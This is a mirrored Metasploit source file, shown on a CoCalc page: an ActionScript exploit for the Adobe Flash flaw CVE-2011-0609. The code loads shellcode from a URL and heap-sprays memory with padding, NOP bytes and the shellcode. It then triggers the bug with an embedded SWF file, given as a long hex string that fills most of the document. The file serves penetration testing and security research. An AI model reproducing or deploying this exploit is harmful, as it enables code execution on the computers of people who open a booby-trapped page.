CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2011-0609/exploit.as
Views: 11779
package {
		import flash.display.*;
		import flash.system.*;
		import flash.utils.*;
		import flash.text.*;
		import flash.utils.ByteArray;
		import flash.events.*;
		import flash.utils.Timer;
		import flash.net.*;
		import flash.external.ExternalInterface;
		import flash.utils.Endian;
		import flash.ui.ContextMenu;

		public class Exploit extends MovieClip {
				private var textbox:TextField = new TextField();
				private var msg:String = "Loading...";
				private var shellcode:String;
				var urlLoader:URLLoader = new URLLoader();

				static const POOL_SIZE:int = 0x20000;
				static var allocs:Array;
				static var pool:ByteArray;
				static var dstSize:int;
				static var allocCount:int;
				static var cevent:Function;
				static var remainder:int;

				public function exploit():void {
						var path:String = ExternalInterface.call("window.location.href.toString") + randname(6) + ".txt";
						var urlRequest:URLRequest = new URLRequest(path);
						urlLoader.dataFormat = URLLoaderDataFormat.TEXT; // default
						urlLoader.addEventListener(Event.COMPLETE, urlLoader_complete);
						urlLoader.load(urlRequest);
				}
				
				public function randname(newLength:Number):String{
				  var a:String = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
				  var alphabet:Array = a.split("");
				  var randomLetter:String = "";
				  for (var i:Number = 0; i < newLength; i++){
				    randomLetter += alphabet[Math.floor(Math.random() * alphabet.length)];
				  }
				  return randomLetter;
				}

				public function alloc_shellcode(p:String):void {
						var val:ByteArray = new ByteArray();
						val.endian = Endian.LITTLE_ENDIAN;

						for (var i:int = 0; i< 0x7001 - 134 - 0xc; i++)
						{
								val.writeByte(0x0d);
						}

						for(i = 0; i < 20; i++)
								val.writeByte(0x90);

						val.writeBytes(hextobin(p));

						for(var x:int = 0; x < 400; x++)
						   alloc(val, 1048576 - 3840 - 36, load_trigger);
				}

				public function load_trigger(evt:Event):void {
						var swftrigger:String = "43575309eac70000789cbcbc09601bc5153fbc33bbdad54a3e245f712e4721c64e8c1b27015a4809e01cce0189432e02c5b656b214197ca4969d03dae20492705f218140003b8170849b94aba59c2d502e1d4d42394a4b5b28d01b4a694bf1f77b33bb929c18da7efffff73999dd39debc79f3e6cd9bf76667b44ed14f5694bc3e45f91a5366fbcb154599c53ff9e493cdbace15a62883a60f592aa2c8610a5714802b4ffa8fc4b3caa5a264d4bea563fba2dd91d6968eb0c2f820fe14c5a550886ae39944e07210683602bd542040c1a8efcf2a53625d1d91c55d7142f1a43e828a0c14556c593cffa97838d6d5d59e2914f54c148eb970c38b7d6bbbbacf195acf4b456f86eeeaefe85ad31689db8583e67814ba41c5937a318131c55046e43f9468b74291f6969e753d36597e2acc0764f96d9e754455b6b627b7b6a98c3cfbad4f0ead3d920a0b01f9e2d1479ffaf26b2bae1a1f90e467b1e4e562f10e8b45f4c30fc817a3d133765c3e77d6590af5338ba3201747fe9753520cc81777ec88461b974f5c16940c11ac2a19ffa042a3ab283e6532a8e08c86ad50535d78197d5f20f4ddaf2be314e5b3712dfdfc1945fc7d76befd3e292afe3e3d49a6ff7cd2b84d1f9df66845f9c937eca0bfbf9ce439b87bf50c4ff5c99f3d1d1ef5d66da79e3c436428275ff9ccdf269e55587df292472b50e3b393cacd8ee3af7bf7bd933e6d797fcf2bc7bd74d2f2bfbff0de5deb1fb4f1fef2a4a3c55fd5c93f78e2e0cfdff9ce9b333ebff32fa985a1c5279d5772efdc5f9d7be1495f9b35e6a377bf3ecaa6a7ea64e5978303d78eea98f9febf08f099937e7f1a35f4f4491f544d75df3d26f5e4f4cba6bc7bc5fa39274a3a5fb4f17f6cbfd5936fd1147d516f4728d2ad3786ce8e847bb4355d6dadc64c8c60c4ead497f674b775ae2a0a77754c5ed51d8974c6bbc2e74c0e777547ccc5dd5dab97ad4596dad6d9933f04c014f9a7b6f5445cf5ddddd67aad1720327316aae645dbad786c72644da4b327ee9a432f77436f67b8a7adab335f96b5b6c557b75bebf367cbb7a4cc23cb5645ba3a0a6675b577752febb63ae3d1aeee0eaa75746c72b4adbd27d21dcf9bd9d6d361ad6e1029b76876a1b5ae6c08ae595d9d3d565b277add89fa56bb77595b47a41d1980f42cecea8d47045d630eeff8f44c3f8cb6ceb69e9e48aba72566c597af6eb57a22ba855eac99e6e98e74b646ba09a7ded21a41ab2ef12c085be158a47509bade1d8fb4ba3b23eb7a1675b5463c329fe0ddadbddd1671c2dd6d4399f11eabbb87ca8cee8888e7b5745b6b17a39c32b53556775c47492f1a5b6d81f2d6421b5d578fd52e40a8df1ae8b33c6d9d6bacf63622d58daead6e8f20d26377bd60691be5389c307b9cfa79125f63f7ea98d569235fea10e50df776a3bb22ee5e0da2a843764767db7dc98f477a66b775f7ac9f45d97c55d846b298c8b57b263aab9dd3d6de2e9b9b1f1735f25075d92184886aad2ed1d97c41a5d3506196914bc3567ba43887130e8c0718e7745aa1f648eb70c39b916b74a6adabbbad67bd4b305d0fa3f3ab223ae2ab223d5aa725badbb53a0222dd6df1c5edbdabda3a4b87225c2d32e35e814f428c1f16627a0e44be90a108c495682ce8ea9c0f31ab6f6f27c2e2464b0f41c6cdae4e1b204fd2d5805a5ddd82a245445a57a7eca3abbbabb7b335af5788a76825eeb65a5b45cc2b718b7841d7e991eeb5e86e44b463d2408898a70bc22e2525bf25b72d5fe31abbc642abd35a15e9ae18d2b5e98716970cedb99cfe1ed1b8986be3862b9f9e2d7785dbbb3a232386407d33a369cc881527d2d7adf7d27494ac8c17ae7646f3d4aeae737a579bb6002d9bea69e972e873b5505d8d66b34b88883f53d683412126b8891d2b30d146b47476f5b445d7dbf81ba3b6248d1f4692864ea722abb7a76b49044b526456acadbd1573c6d30285d633eb15a4684c44b6b725dad68d4c8a635613b881d94e583ccba04665c3812f91a20c80da027dd9d2e3284833a32af35ada5641e545eadb3199f35674b5436dc82a470c8ff3e61c10489f907eb525dee395dab823d2da66152c2521cbb451382fb24e28687b188ecc60d672311f0265d200880ca3252cf27d4b08ad18000952353c898782a960a6af45322f339d753973f25bda72a653f1d2d811dd3d4ba01e4833c8da93866f6469aceb50c83c42e564e5cd8c9cdb16e9fe4a5ee682182dd1de9e5eac222d5032106faffd9e0d35ed6e0909c878613d84460cd5a19c1c82f710a8027b8c57b4c5db209cde866e4b8e60fccbd44f0602c3b0908ca659ed6dab5d51cacdb7b1c8d209c3d71f02e3162c5e61b5bb5bd6c8fc82399dadc212900095c323190ac45b2c171045bb0a44a618c3f9484e180a36d98a577e63daf4a130ae362cbfebf28405b06fc888fcf8d08e0b2341821466359dc064d822e4a1ee4840bd4560c6d889a4aba567fdea886b166642bc6ca8f673cc0edf7ca1bcc8f8b07aa07bbaf35beda8c8377b9ca5aab025bc3edc1e893b24785b5a33750a0fc1e183808bac53dbe2505191ee6249e990bc025a746130b4750af9f4ae850a5bd6ddb60aaad8070d391496ba98c55f18de23d674cc11f4281e2f6a894db72d1ca7865c771d00b7bdbe74992d918358d2c115182991d5110b24c0f8d0655c5bdfb5becb8bf82c3bbfc05966b08ac252f7084dbcb86b6da4dbb0abe739fa9394fca843789c53a4c57bba567b577561224017106a6bf56a58610b7bdb7bdac050ac1e11abdb584d583b5bbd925fa7920be15b0dbd2ed47463b7c8205d2c2205b490085b43aa66683eb98236469d9696a2555db6640250cca3b8bb05c95916add65584279e1f8fb5457b1cb5af51dd3ceab9830dec8f83030ead7968481020ec2b249c9a45d0aee1ccf2b1ac0b53a1fc90ac99114872675be773bac45968f7d8c15d32d47296925f33fc841c0ed42797b0ec4af3653af910b062a9fb96c5608fac8a7da5a61d06d227182b78f295ad1e0a56361bb2b53466b576adcd9de9b5c3d71e1ed83f13a6487b6e4ef530d5dd44f72170beb9ed43510d43b50bed1e0a3642307ea105df6b5d6efed70ea93e3b67980e87365a3a445e9efd16c2e69bd9dedbfd1f4812637008d8c8e1671e145c9e6dff0bae7bc98cb1dadb4356f81caf586f1bbabb3a96751922beacabc091ec9911885424938c0bfd5d2067a583c04469bdb085f31db8fa2828ca73e6670b4c90bc8570e31c7246e6964ccf2d31339b1279b9bb24ee555d62b98b1ba19e4e32583dd9ed15c3de813033bb089eec9e8d4ef0bd3dfaaaae79c8c3eb74001bf69e902e16cea97947e7ece318f6ce0aef6977afdabd549418e4f3907bd412a61564be7427ddc2fe87363556cc59b2747ee322b57ef1fcbcaeceac256c4460747e1869d53ae06a79eb4f3db5a571d1d265f54b9615824f10a61014b3505b9e598d8b662d5fb264cea265f904367fe1c239b3e7d72f9be3eb103679c6448f7b172f993367e5fca5cbe62f9aabd52f5fd6a82d6a5c34c73dab71e1e253e72c9be312e8f5e58b6753e5257388b2392d4e69a1edbd394b97367fd1fc65fa92398be7d42fcbebeeeaea7146a1200a7b770e54bcb4c66d13b2b7a7ad3dee99dd263600aceef5f98e7d253a5b4408a45e75d0785b23510bfa8c3049ab91d867d8b2ebe94023916e5aa87c5d87f8205a14e2686630169112160b5144886d1c924a2b1046d6db9acdd65be2310bebfc527a16606182625d139116a729573e1894bca74b6f217f239e275614a9c6b0182ca99f3d6df69cb985abc4c8647c533d2aa6868906e424710b8716980ab2bec9428cb09fa8141ade592f3c6d71116deb5c655021ea78a56b26c6ddb051d23a526faf32379b728b0069178a9775795a1c5f314eeef952abc7f68f75a4e6f5c22b82dd3fd78b04ed957483a722678917ab5dfb7aa96e84731e03e258175c1861b4b79d1b2174336168c47a3a611a982d6dad125ad49fe926062f8227979fe37da2f36df167979287353ed6d3b37a7a5d1dd470280247aaa3ae7ee9d175d3a64cf97a5da8171a09765a5b87f03a7a224bc4368bab2dbec85ae4cb5a6f8b2d0c6edc2508f577752e192a9d230ecb91f02a90188b962f9cb364fe2ccfec394b67cd59341bb3418fc3ee6fecd4db239dab7a62641234aeedb44d96f57aa7dc3a8baf6e6f0b475c73babbbbba5f60a75bdd3434d3036774f57607322e6a40ccf2406724d21a0ff47405429180149e564a91b609ac6deb89050e759c0313bbba03ebbb7a031dd67a519bc0853913485103f54b1b03b04723f14993038bdb89bd012c619ded5d566bc0ea6c0d604ec0546b0ff4c42281763417ef09d88a27402218b019be76eddac9424db7a36962fc648dac5b23d41b82091ff784adce30e604e21ab561666434afbbb77326f4f55aabbb356e88cd92fa1e7757a734180b9c88e4b2d1d529b68ef2edb7ccd5a52ce4c997cc73d338910958e044165f48f95ec8edbab6482bcd7e8fb01705785176fc1d1bd5279aeecd6614da8d3ae9918789424e55d9a6c8381716b2f4cec8c0a269ed265b1033b9db0bdd3a67494bc392fa857346cfb23a3bbb7a02828b012bd0d90bae7789fdc6c9eea8bdc3e96959b8fcd465f3a1385bf4705767d8eac9c7aa619b67c05c2856d96cba20d4de1bc929b6c8cfcba631ad5b1ba3514c39afa828e31eaa64678b0a32ae61f6f478ba33a6994b4c5933b34d50101e62f1e96b84ef5f101fe2dd9b31c76f37911d894221b77aba332e380b686777c1fa108e526314a66f8edfac4113c4f8e2f9baf46f35e8b115dec8bad55d58ac68f2b3756cbdbbdb015edd1b8fb9e00e774e332dc7c37589ee18b663e989660c3ec70e118add1db19d44c3de13366119487ba62006cdd44eda4974c21b17069fdc77f876afd54e1b7eb0a031c4e774c2d4e9eaedf1c4da5a2372db38c745147b4da5872a1d919b9fcd85ba2d1e92b26781dc47899bb401349f38c52c373a20d622d6469388fc34b6daa0ddddd9bdab59bb8e4505ddbb83399e652042da66bc33e5a52a213d71b8ca81fee8e95e1fc092168104ac924019b531399041d91df9766f5b774483f076c03e433a8c361d75313930dbd12bb2b578c0eac9551f0e1ea13dec9d4b6746e972e312e3d7b60a6b8cf8aee08ea3bd08d44a79ae2b273b365de8abd280f8cc13586b4171626a4507206793dd70f269dd5fef2181aeef80f0f5b88518f576473ca1ccdaa37658eb542b14cf0fe5ba14f9b9166bdc0d37bb87549b0beb27fc44cc9cee95e279861b540aadef6b3dc433f01dea2a64a54a48a92d55321ecafa05de1c1fc1b32a63f67bb21e801aee8aab71781de143ad7aff6176be2b4eab8e2ecd7b773764878c65acc372bd5663bd114f3cb3ae9b3dce4aad5b8263a4246c23df93b5f735da91d0c85ad5a5cdacd1caa44b23d8cc7c74f3caf559d86ec5d28eb3c261f0bc2dd44673c8f9c84343192fb013eb80bfd36a3765b233d26317ac8630906066925d2498ddf6c7a0b845b3a7dbc6185f0f79eab0bf05f500a5dbb622db6cb4eb3ada470cf98a343db3a35532347fe96a5abe2a87660eff9968dc50a0f99de889dca79780a3bf02c998dcef5dd3e7a843b6720edd15b730f6abc07918882be5eb0cd7ac53e7cf3ac55cd248863e2c6fb78c2d5fe609f5f6f47475928d98df41dfac9c6d8002d276a4079786bbdb56f7f80f2357975ddfcaca589951e6292b2c2b2a2b292b2b1f5b3ebfecb4f2a5e5ad6591f255e56de5bde5df2dbf80956d66e517b3f2cb59f95656be9d95ef64e5b7b0f2ddacfc76e652caf7b2f27b59f9c3ac3cc1ca3f62e57f60e57f62e57f61e51fb3f2bfb1f2bfb3f27fb0f27fb3f22f58d945bcfc123ee2223e6aac4b29fb3e1fd5e652467d77d47646dfc49d7fa3fe91498e30dceff3512a22a78d5a2a323ca35a73202f1090a32e96afcbe56b6ba6faa89d3267375ea36e97f17b29fe303d126c54afc8fa4896fc858dba85f23fa6c7dfe8f17759f06f8a7f21e2651bb5b20bb4b20bb5b24d5ad966ad6c8b5676915676b15676895676a95676995676b936ea123eea0a6dd495daa8abb451576ba3aed1466dd5caaed5024cf39cc84ee227d7abeec93319f7d6310e33b35ef5ce99c93c9e06a6f2b9f3eaf3e6cf642acb2f9cc6a64c75714d5d30afde53387966fe29ec68d7a904cdfd73667a17b2faa2459ed96ae39c99798b59c9692870a94be6ccf42c65a5cb90588efc15ec74915db61215ce60c79c49b547a0e05bacfc2c8abb9a906866a35a44220828ab64b43a06a910281a5310669e8a566ad16544e6ccf41dcb544f745e3d776953c6ad9a3a7966ded7991a8821a3ed6cd0770e73b5139ef11d47cf9999dfc95c5d94aa5cfded39330bbec18c6e41ca9171202a388e193d2259d54bc9e399b14624abd72299379d7d731d559d4865273063bd289b742e2567b0f35434a8d57c87da9cf05da6a9df3bea6bf5e7f731d706b691197af105ec42b6896d665bd845ec6236e512567b29bb8c5dceae6057b2abd8d56ce635ec1dcd60dc60aac11071194c37b8db60a6a17a0d9667b07c8317189acf607ec3556ce8a58631c250cb0dd748431d6d68630c5661b8c7192c60b0f186fb08834d3058a5c18e345895c1aa0d36d160930c5663b88f3258adc1be66b0c906ab33d814834d35d834831d6db0630c7eacc1be6eb06f18ec38831d6fb0e906fba6e13ec160330c76a2c14e32d8c906ab37dc330d36cb60b30d36c7600d069b6bb079065b60b0530c76aac1161a6c91c11a0db6d8f02c31d832832d37bc2b0c76bac1561aec0c839d69b06f19deb30c6f93c19a0dd662b0a0c12cc31b32d4b0911f3558cc283cdb283cc760ed06eb300a3b8dc22ea370b5c1be6d14761b2c6e14f6186c8de15b6bb075866fbdc1ce35d87986e73b86ff7b86ff7c43ef63867f033360a478c0fda20b113631a3780b333c1721fb1266945c8af865885fc18cd22b11ae42b81a79d720ef5abcb73163c47508d723ec40008e11372000e58dcc2847b2fc2680ddcc8c9188bbfa516d00e95dcc1885f4a85b116e43005acf1e668cbe03e14e668cb90b707723ef1ebcef6346c5fd080f20a04ec583080f21ec43d9f799f908c3fb5184c79831ee71841f3043fb21d24f200e5efc08d127119e42781a59cfe0fd2cdecfe1fd63849f20fe3cc20b88bf88f0538497105e46de2b08af32437d0de924420a218df03384fd080798113888f7eb083f477803e14d84b710de46d92f10de41fc9708bf427817e1d708bf41f82dcade43781ff1df217c80ee7e88f07b843f22fc19e1af089f207c8af0193326fe13e15f887f0ef84166d4a0bb35e82eebc384d880b0911b35e85f0df5ed02c42f44de26bcd1b71af4836d467a0b378eba18ef4b112e43b81ce10a842b11ae42b81ae11a84ad08d7226c43d8ce8daf5d87f7f5083b106e40b81161273726df84f7cd08b720f473a36e00ef5d08bb116e45b80d610fc2ed087720dc897017c25e84bb11ee41b817e13e8407101e447808611f37a63c8cf723088f223c86f038c20f107e88f004c28f109e44788a1b539fc6fb196e4c7b961baee790fe31c24f90f73c378e7e01ef17b971cc4ff17e09e1658457105ee5c6b1afe19d404822a4904ee3fd3384fd0807100e72e3eb80f9c6ebdc380ee17804f6738437b8311df16fbe89f85b78bf8df72f10de41f825c2af90f72ec2afb97102e066fc06e1b7dc7c8f73b3969b13b8f918e3e6ef909a0ae00fb8790c37df46ce446e4ee6a6c5cd0f51f411c2ef11fec001f3476e16a8a65b1d0dbdf727a4ffcc8dfabf707319927fe5e6c75c33cfd08cfabf717309b4e2a77cb46e860d837d06c87f20fc939b51b731e54ae8cdab54f3dfdc44dbe668135498e6e748ed42d88d70816a9a17227c84f8bf102e427c0b42b369b698261a321798e6e9a679a6690e227107c206146f44e843089ae619a6b9cc34eaaf554daf611eab9a37ab1e4807daed4718504723753d623b55f33b2ea3fe636eee26d5bd4b353732d76868f0db54f322e632f7a8f9a3f3cd6fe59b2df9e61d6abe517fa76a9e9e6f5e06a002f31ad2fc7b81e56e757421a82a34ef550bcdfb10ae4078482d84fca8e636a07958f5998f20dc48351e0335c87b44f59bbb80a7c8dc83d45dacd8fc815a62decd4a4697983f44ecdc12f31e14fc9b978249a5e617bcd498f7ac6acc7b4e35ea3fe2c6bc1f23fe13d59c506a5aa518a7d2d1287f1e79d5c6bc17f07a11e1a7082f21d41af35ec6eb158457115e53cd85a5666da97974a939afd44ca8a5103ed5fc292b355f447809e162b5d44c215c827029c2e50897213c86b2cf41cd06c437227c84f820421fe29b103623941be69a32e4969969b5ccfc19c2cb6ad9e832d429439d32f30a94f4a9651060d5844e33fbd511e6803a62f408f30d7504a63a18ba1de13a841d083720dca89a6f02ea2d2a7f1be95fa860e908f37a840fc1a3df23fc9158fb4b7574b9b9a8dc1c60e5e69f9161bcaf9a4faa23cda7109e467806e1af94ff11e58f323fa1f81f54f3b7ea68a447036e34e0469b9f12b23fa2a13fa9a3c718c65f54f3dc31189a3118983146fd5f51f0b16a7eac8e313f41780be16f089f22fc1de133845ff231e63f284e0dfc8b1a1b6b7e0e2a8faf008b2bc0e20ab0bb026cae008b2bc0e20ab0b8022cae185d611e57810950810950019e55806715e07305385a01be5580cf15e07385f939c2a20a73b4616ed0604cdc0faa1e20be612a5e8fb003e111e21fde3722ecd40cd74d08376b4f703a24c815c61537676a5e9ea28aa3aa227055d390edf178bd4c458c79bdaacaec3c8f2753ecf108688d924c261c780e7899c928938e4bfe4f114da2ca89d87f6e85bb187369ba0112f2f298ea1470cde506ac66caa4aaa1678ae282d5c96070bb19c1e6360133398b951940c7a8636e6e7a088d5719f2a72aae6ca7f38614282a38c8332fcdcdf24d4d10e7f180b3a26955e5440faae7e5698cfea8a680171872b9ab71c9c221bcb52bb10cc1183bd9272f8d975742e5e2c9c20e6108570b0a1d261f5efa65f91ad8e8f1d84cfb322039feba84665f8e28b788736ecb49164655dda6f61fdafa0f85ff5b3ec77a9153aa2a9ec3a857b9cf747a9853a6fae5d0cb97462f7b4875d3641c92a078549a5e7979990cb79d6150c6901ccd9f2b3a26f55023742611202441a53949b3ab4872cd9e8a322f13b58111cf997f39e226e7387764c6a5488163aa7988280e9de82ed595af19920af87054335fe2609a8b68150f9a1c87cde72f9be606458cdc1cfb6f78f9468fa00118061fd43a117b82600831d38995a3908f241b9a7491421209ea988b1a64aecc4371b8a238faebd0c810c6305bbb6522a4a734136c479b9a57fc319d9b3c5b9789ba0c63235581d72b952e719d7a9a55a3ffa57efc9209fe657fc314ffdfcac2f461341c982588818b439e91dc9ca1daf94b35899354ddc5807034a62314aa3b5f719896afc8883b53a638b1e1255935e54ca221b2d72c1214c675e7add833fdff40de87116c57b65b4c2df98ac790bf80979b6e854d2ba5212fa3c7087a9433c51849c84771a56034e58c5114af3296b22ab8e21ba72aa303aa32723cd6be51aa52780451aa4e20d65432453b922b63aa08b61a2cad5015ff446a6b1253cc1ab0e02845a955bec695b2c984b88ee0025c291fc795515354a5742ab5348d728f664ade3104732ca5bece14fd485519fb0da6788fa3dcafa9ca88295c29399e29f9d329e39b4c514f5095e213b8523483aa9c488f9398e2c154319580793231ae9e32d188aecca4d82c227a36f16f0e3dc6504103619bcb4daf72a47f1ec5e72b4abeb28034e529143b55556a1612f4224a3512c462a64c3c0d1d5ec294aa53b932899a62ea52aab28c29472d27c015a409d4d3b99987f657e69905ca31ec8cf1cab16eaf59a89c54782653e6948f57eabf45f84e1aafcc3e8b486b22829a89f016c21164cac982644b200b5134cc9499ad5469d2786556add7f429f38c8818c6f1ca295162e72aa6cc8f51a48d290bcee6caa9e7cc35fd4aa3de4e775e3a14a55359325e59dc45754e9da02c59cd94d3be3dd72c52966bddd4405c517a0862050a4fef9d6b962867ba968d579ad630e52c6435a3e85b6ba9abebe69aa58ae55acf94c8b94c69457ee83cb2a9bec394f077e79a654a8c23afed7b4c39fbfcb9e608a5d3eca379ab6ca059a86c6484e3029103f4dfbe50c436616aae46ad2eb4d4bd99cd35cb955ed716517491a806d0b5285f83f27517a37ca4729e76094a2e6544f3772e63c43c147ef772148e52fa987e85a87da5a87d9578027003bb9a11ad80dcc8ae01e86834ed022bb6b0ad8230c06c66d78a28602e62dbe0c58e552e61aa90232156db195d45ba0e952b94cb99fb7a907e25db215ab801f12bd88da2e59d82a49b185df1b919cf5b1861bc8af9dde638d6cf6e63470c00fa41b60be6e70f1846712fdbcd8440dd8ad76d4c396182f218db03987bd9ed6cbcb287dd81f87dec4e3cef6477e1f900db8be7fdec6e3cef61f700cf3e76afa0e33eacd2df67f721e761763f4aef600f086aee41fe43ec41b16ea90f21f143b64f5498324179847d1f193f620f03fe2ec455e549f6109e4fb04744dd9af1caddec51492164f07610ce95c7d90947288fb2c758ad19509e61d5d499dfb2c781e235ea529ab58d579e63d4ec2f08f25df6031425d80ff17c5150fc0e7b02f1b7d88ff07c9e3d89e7cbec293c5f654fe3f9127b06cf03ec593c5f67cfe199643fc6f327ace208e597ec27c0fb1e7b5e8cd60b82e92fa2f0e7eca778a6d84b78bec140ea9bec65445f60afe0f90a3bfb08e57d563141f91503837fcd5e45e641f61a9efb5902cf9fb1249e3f66abc62bcf8a2efe86a590f15386c9fa364bb373ccf1ca878c414e3e623f43ea08e58f54f57c7382f21791fd5776805dcccc4ae56f22f9293bc8ae63e691ca3f44f29fec754a5629ff16c92fd8cf2959ad6ce094dcc8dfa0e444e532aebd29baf5169ed70819bf9c437caee06f13c024e56a017f0d2f7e8c41dff6b3eb7880c4e90efe0b90fc0007ef77f277c4b8fd524ad3af507a3d7f17cf1b3909d26d1c637e3727f9ba95ff1acf1b3849d31efe1b3c77f3df0ab12011b987bf879c014e12773b27c9ba939364ddc5df47ce2efe3b3c777029462441f7f10fc4324b12743f2709ba9763e8f77208d04dfc43411306e516fe112adecc7f8f673fff03bb94b96b951f70ff1fe5a4fe937cfd19a58f7030567994ff55667d2c5f9fc8d7dfe4eb53403cc6ff8ee73efe199e0ff37fc8827f22f138ff974c7c2e5fffc6ab18ac078d5ce1834cc764d0fb10d59471ca11da06eed72a376229679a7e01d73973e91772bf3ae16b799bb802d37a334c0343d9c275dd70a91771bf6bca6abf3af962aebb0c5dbd84ebaaa1aa970247dd655c370c43bd9ceb9ac155d18eae5f018c9841471b5722db7534bb0a69d729ec6ad4739dcaae0116d7fd9c6d4555a8254185a15f8bb65c10ed6f946c0305b5ca76aea8d7710ca702d36507573cb5183d45cfc7d0fad5e344436e7d273ac43183fcee193771c50bf89bb9627030deef9ade4fe60d065571e56308fde689bbb95fffe6ad5cc9bb8d4306947c8eb1f61b27dc817e1c3f5759c4ef0436a86da2c7a52f6376e40c27127422ab9c48bb7a1788e9b0537b898fa6dee3949eeb44ce77221732277631532e635c74dda3df2607e01a567a372f2ebe95dd03eab7b17bb9dfbd83ddc7fd85fdec7e506660aefa3d37b2bb7951d16ef600f717dcc2041bbc3a3a66dec01ee47eef4ef610f7e7df0cbda0a8f99013bf7f170333b46bd9f7d1d5ebd98060e7c3dc9f77137b84fb7d030cbd57b7b247c19aeba08ea4a4e4e98f89063fc8d0fb874ceccf99d82799d8678cdbb1c7050b3fcfa47f20d27ddc49ff50a42fe4f976fa09507531ff113abc853f29ca9ec278b17cfd69f4fe12fe0cc86505fab3e8dfa5fc39f46333ff31e8ddc47f027a2fe2cf4346a0152116ac50bf2ad3c88b02d1b5b638e6e93f45c5edfc2554dcc61fe2cab80a065f4819cf744d61b56caea6f069ec744d51bfce566a8ad6c0dc9ae25ac86a35455fcaced1146325fb36ccd916d6ab296694add314cf39ecbb9ae28db3f335256f3ddb0cdf26ff7b50889a5270016397e35d7829e3d7e0eddb8687ff6a0685a6294550fa7e4d298636790cc912a88534dea57f62d0b2b05a3f666c3fde2330c50fe05dfe2f06bdaa2923071914aaa68cba8043936acae82b397b03ef315b397b1befb10f7256ac29153fe4ec0f709fc63d81eec393f326a6340fb23a3536c8e60a235c73bdc0135312f395442a500c933bd5c77de0c3720c4f6c42223a21fa322f82459fa0e82b949548d684b5d88921cdadc5a6358fa4fc5779914f519a988c3730d6eb830350a9f4c6468a7aafe594bf962d67bdb11989262d59a9ecdd585384b6270547ca38fcd449049ce0d57bb76f6cd0586c442251a950c36345c355026f92c72606fbb81ff679538a07ddd17ede90e2acc8af284177e38d5c69eee355163a04b537972aa479b0f6a122f81c32d157eb1b23e33fe3d42630eca0cc4922ba0dd1beda838974b42a38b23f56974e34ae125dd8cf8bc0a144556c34a50e38a923e7d2860c580a1e27aaad710894a5529681ac2a91d49ca42c75c1a37505b21512c922b860c19157392c4c351ecf01a7ab5c738d1758c6091002f6e513f5c714e9d47e75e3490468c06d73a9892988ba35e0be9125a624fde85c5379227a42aabab15c052b8e8a468a3c84846ad17803dd8894bf5d72e320dfb8a686ca31085589e889f753d22592a3b717953a40017abdce1b7fceb96f1a658e5e238711b5308e3544a618c637f81a1a131915b5de14b540235c5f875c0f91db812e26b75bc7248be006403812d1e9db373a9880f53e24cc0c61f7906c80f0ed0e7993d71001e81f8d9518dcea21c5db05eb505cd5d8c6abe1fc78e1e6ba3c89294d2755db0ccc83b7eb3a0a4c1398fabc3e97a8d1e7edf31ef0ad07c5a92aebb814651c48f9ff3c38882af9348d2e01a3271e9c1806c947159d47758e5d53e397ec3816ec902d1fdbebd305be68556fef41b0aca89a92c7c9d2137ac558444feced059e74484b0e24a233760f58753e1aad74d24e51fde3fc40d4747475e3d110caaa64b19b8638290758510a88afaec494e04874b25083f01483b3896820191c39d06f059a4726632301e723381d45d16900f4c3b977cd42df91dcdd7b80e6fa41ebc4b45bb5a625a2233242301d0c45e39368e66e1772040a52bbaa20aa9220202eca203e11888b3997529fb42a505892291c8bc252926d1a83e393d552dacb32e555281f71587979a6bc0ee523690e1d8772627d602fc94b115187524af825d1c790acac39000aea523942026ca332d84603db686aad5cf06074314db0a435bae97850f267d9f6980cf474408f25d65ec104f8f4bd19413b6a4dd1198a9214aa8606eb6ceb58218d20492421081885bac4b2b7b875ac3d88496bfa7f2bf0c94c43c7ac292a90fc27d664b440058765e7034bdee6413e25c8572a63635ee48fa3dd3c39dd02dcd45c5f97aa3f199b9548c5e624d2b1fa44488bcd4c845cb1d989901e6b081934be2123614d4d848cd89844c81d3b19b5c73b0dfcc26e808d8de9c83f821619885af3465ea7c536f2e60b78258b5d40344dd0dcaaf60958551dd6027d66d855a984f554b4a94f3f98ac5d7efd358ab24271b27de59868215748af792aacd7848db4f50e4f47c7bcad1f741b69ffaf070743aeda054133fa4b8ec7aff89d8def4207d5a14e934eb5a2eff0069d51ac92f523618d39347f2be54e0de94fd7c4c37ae5e088e706075321348d6c346735850cb701c27cdf04ce74b4618d1c8474745612106b8a2a1405f1e8af7911b47455584302d5a82c64d42b934064740caaa7fd4f81540d7252a941bb2d4b4c09f4f1834177706ef4426e5dcf93d1dff0f801df1434924ca1722d16b0df62011b07d9a174f016b665a622aa44778201ef71910d66a46a9e3ee07f617090e6c791b4a4e4ed99d2bc6085125b80f104b3ab744d4871d36910cc8514502f8557e3692eaa536d1a9aeb7468acb01ed202c50b30c6dab6da4f7849012dd421d83b2c3dd0eb736752bdbd356094521cc0eab420b8008437e9c9543a04be6eaaf1830b93529baa17e83a6843f3135dd0883b18f557279d282ac40f24a28d452ba074a0dbcde002ea0a31295a9f8ece4ceeea470b5aa552502a789b8ece096975befe4a650f50fafcb99903323385c13b80b17b7070d07714b08e198a95a033b873c07f2e74f6244741ae00376a483d15805b8b938d8b59f38a646c05408e22bd12a199be548e13092512d442729fd07b4854b2c6f77906f9db8383765f7d6385384a822075d1d9a86312f70ea9f2baa0a7d69950bfb327141f1b9b8bfcafd184faa6b4da74586dcd57f04a2576056fbe8426d625bcf9725ec96397f3e68b79a51abb98376fe1955a6c0b6fbe8c57ba6297d1604ce658d2a6a2abee2890f8f3c818f880d7fe9d2ff800c8218da75b37f3e6cd3c696de6cd9b60316de2c1cd1c6ca9534b54ed69300953d2551dd6037deeb051a9f484f327860b26860b037ddeb06f62d81fe8ab0d1785b44aadf0141aa6df70405015df549a3d2157f443dee7a6f9515c44baa4babae1247be2e8be3c92bc4a5709d63d5ae39e716176e6973e8f69a3cf4b46ebea8afa7bc36ea1184cf1f450fb5e7ae4514b71b4b2ed9056f6d6d0d2382964448fb9936c335f0fb51a3d2a193daaf848f4fd224cd2868b38f39720df13f2f6d65c0d9435e1e290617dc8ddc5bed902be2ee4beb7860cd7492261444fe8073521f77dd23ecda0d95e4478cc509ec09397c5137291767161889bd11dd05cfc1ee67574466fb820e4ee0d17821e629c10945041a8283a63178a8e2b44ac0ebda6b7000815f92156802844b93be4a53e5f49753cb2d320dd27b1faa27554cf372ce